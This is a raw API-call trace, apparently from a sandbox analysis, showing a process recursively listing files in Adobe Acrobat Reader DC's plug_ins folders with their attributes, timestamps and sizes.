	[0163.284] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0163.285] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.285] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1
	[0163.285] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1
	[0163.285] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1
	[0163.285] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0
	[0163.285] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0163.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0163.285] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1
	[0163.285] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 0
	[0163.286] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0163.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0163.286] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0
	[0163.286] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.287] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1
	[0163.287] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0298732, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc6463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Checkers.api", cAlternateFileName="")) returned 1
	[0163.287] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe033104d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x145e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DigSig.api", cAlternateFileName="")) returned 1
	[0163.288] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda84b68a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2f463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DropboxStorage.api", cAlternateFileName="DROPBO~1.API")) returned 1
	[0163.288] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe02be995, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1f463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DVA.api", cAlternateFileName="")) returned 1
	[0163.288] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eBook.api", cAlternateFileName="")) returned 1
	[0163.288] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe03efc54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x280063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EScript.api", cAlternateFileName="")) returned 1
	[0163.288] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0415ea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1aa63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IA32.api", cAlternateFileName="")) returned 1
	[0163.288] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa4033a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x26fa63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1
	[0163.288] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1
	[0163.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.289] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia") returned 73
	[0163.289] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.290] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.291] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1
	[0163.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0163.291] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP") returned 77
	[0163.291] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.291] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.291] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb85c4d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flash.mpp", cAlternateFileName="")) returned 1
	[0163.292] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1
	[0163.292] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x42e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QuickTime.mpp", cAlternateFileName="QUICKT~1.MPP")) returned 1
	[0163.292] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 1
	[0163.292] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 0
	[0163.292] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0163.292] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0
	[0163.292] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.292] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1
	[0163.292] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa6659d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PDDom.api", cAlternateFileName="")) returned 1
	[0163.293] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pi_brokers", cAlternateFileName="PI_BRO~1")) returned 1
	[0163.293] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.293] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers") returned 73
	[0163.293] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.294] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.294] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8718ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x199f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32BitMAPIBroker.exe", cAlternateFileName="32BITM~1.EXE")) returned 1
	[0163.294] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 1
	[0163.294] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 0
	[0163.294] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.294] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1
	[0163.295] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1a663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1
	[0163.295] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa8c7f9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x54263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reflow.api", cAlternateFileName="")) returned 1
	[0163.295] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfab2a59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6a663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1
